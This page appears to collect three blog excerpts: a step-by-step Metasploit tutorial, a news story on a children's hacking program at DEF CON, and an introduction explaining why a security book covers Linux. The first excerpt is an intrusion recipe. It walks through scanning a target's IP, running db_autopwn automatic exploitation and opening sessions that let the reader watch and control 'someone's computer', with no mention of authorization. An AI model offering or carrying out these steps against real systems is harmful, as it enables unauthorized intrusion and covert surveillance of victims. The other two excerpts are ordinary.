1.) First you need to download Metasploit. The most up-to-date version is FREE at metasploit.com.
2.) You need PostgrSQL for your database.
Download here:http://www.postgresql.org/
Make sure you use all the defaults or Metasploit woun't work!
3.) Now lets get down to buisness... After installing both tools, open up the PostgrSQL admin gui (start -> all programs -> PostgreSQL 9.0 -> pgAdmin III).
Then right-click on your server (in the left hand box) and click connect. Remember to keep this window open the whole time. You will also need the pass you chose to use in step 5...
4.) Time for some hacking! Go to start -> all programs -> Metasploit Framework, and then open the Metasploit gui.
5.)Now, in the window type:
db_connect postgres:ThePassYouChose@localhost:5432
The first time you do this you will see lots of text flash buy. Don't wory, this is normal.
6.)Type db_host to make sure you are connected correctally.
7.)Now type this:
db_nmap 000.000.000.000
Make sure you put the ip of the computer you are trying to hack in the place of 000.000.000.000...
8.) Now we get to the fun part; the automatic exploitation.
Just type db_autopwn -t -p -e -s -b ,
watch the auto-exploitation start, go play Halo for a while, and then come back...
9.) After the exploitation is done, type sessions -l to see what the scanner found. If all went well, you should see a list of exploits.
10.) Now we get to use the exploits to hack the computer! If you will notice, all of the exploits are numbered, and they all have obvious names (i. e., reverseScreen_tcp). In order to use an exploit, type this:
sessions -i ExploitNumber
The features of Metasploit are mutch like a rat. Once you get into someone's computer, you can see their screen, controll their mouse, see what they type, see them, etc.
[Continue Reading]
Children enrolled in a program at Defcon, the annual hacker convention, in Las Vegas early this month learned computer security, coding and, yes, hacking. The program is run by r00tz Asylum, a nonprofit dedicated to teaching children to think outside the box.
"The ultimate goal of r00tz Asylum, like any other part of DEF CON, is to push the envelope on learning, go as lateral as possible," said James Arlen, a senior security advisor with Leviathan Security Group. "We spent so much time in parenting and education trying to stick to the rules, and Defcon has been for the last 21 years about breaking the rules.
"Maybe if you put a bunch of science and math and technical stuff in a play setting, the kids will accidentally learn something," he said. This year, 175 children participated.
Simaya Rosenbloom, 11, explained one activity.
"I'm trying to crack the code by going to page source, so I'm looking up the JavaScript and I'm trying to figure out which user I should go on," she said. "I haven't exactly figured that out yet, but I know the password is three letters or three characters."
Noah Hunt Glickman, 8, was happy his father took him to r00tz Asylum.Meanwhile, his father, David Sutter Glickman, said, "It's like training-wheels for learning about the technology … having kids start sooner, getting people who wouldn't normally get into hacking sooner, and spreading that it's not necessarily hacking in the evil sense but a lot about curiosity, finding flaws and sharing knowledge."
Another important teaching tool this year was the kids and their parents' conference badges. James Arlen designed the badge with his daughter, Amelia. "It's lots of LEDs, lots of processors networked, runs on batteries, has a speaker to annoy the parents, which can also extensively be used as a sensor. … Smart pixels, buttons, we have a track ball, just like a BlackBerry," he said.
In addition to the badge, the 175 kids enrolled received an Android tablet with a full application development environment. "It isn't just that they could play with a toy that hangs around their neck," Arlen said. "It's a way to connect the virtual world and the real world."
The r00tz Asylum program provides kids a safe environment in which to break the rules, he said. That's part of the reason that Arnold Rosenbloom, a professor at the University of Toronto, brought his daughters to participate.
"Learning it in a controlled kind of environment under guidance is much better than people going off on their own and perusing it in any way they please, he said. "The goal here is not to learn to hack. ... It's just awareness and reasoning skills and logic."
For the kids, the program can even help to inspire future career plans. "When I'm older I want to become a white-hat hacker," said Tyrique Fantu. "Meaning I'll work for the government or ... for companies that want people to look for vulnerabilities in their system. ... So I find it, and here's how you can fix it."
[Continue Reading]
When deciding on an operating system to cover in depth, we had a variety to choose from: Windows 95/98/NT/2000/ME/etc, MacOS, OpenBSD, NetBSD, FreeBSD, Solaris, HPUX, AIX, IRIX, and many others. So how did Linux win our favor?
It's use is on the rise.
It's an Open Source operating system.
It's available to everyone at a great price -- free.
It comes in many flavors (aka distributions.)
It is too commonly broken into due to out of date packages, poor system configuration, and its ubiquity.
Hackers use Linux.
We feel that Linux can be secured. (For our reasons behind this statement, http://www.hackinglinuxexposed.com/about/linux_is_securable.html.)
Linux use is growing at an amazing rate. This operating system, which has no public relations department, advertising, or government lobby, is being used widely in homes and server rooms alike. It's also free, and 100% open source, meaning anyone can look at each and every line of code in the Linux kernel.
Linux is a true multiuser operating system, and has been since the very first version. It is powerful in it's simplicity. Though there are robust graphical environments and tools, you can still do everything you could possibly need with just a keyboard and a shell prompt. Since you have the code, you could even make Linux do things it was never meant to.
That's one of the things that draws both the gurus and the attackers alike.
The black-hats have thronged to Linux. It allows them the control they require to do strange and ingenious things. If they want to experiment with new or invalid network packets, they can do so easily without relying on undocumented (or non-existant) API support from the vendor.
Millions of lines of code have been written for Linux applications and libraries, usually in an extremely modular manner, which allows it to be integrated into widely diverse projects. For example a library that allows you to sniff the network for proactive performance monitoring could be used as part of network hijacking code.
The power and flexibility of Linux makes it the hacker's playground. They use it, learn it, and understand it intimately. And that means that if there's an insecurity, they're going to find it.
However the very reasons the hackers like Linux are the same reasons more folks are installing it on their own systems today. The ability to look at each and every line of Linux code, and patch it when problems arise, means that Linux can be secured not just by a few programmers locked away in some corporate headquarters, but by any user at any time.
[Continue Reading]
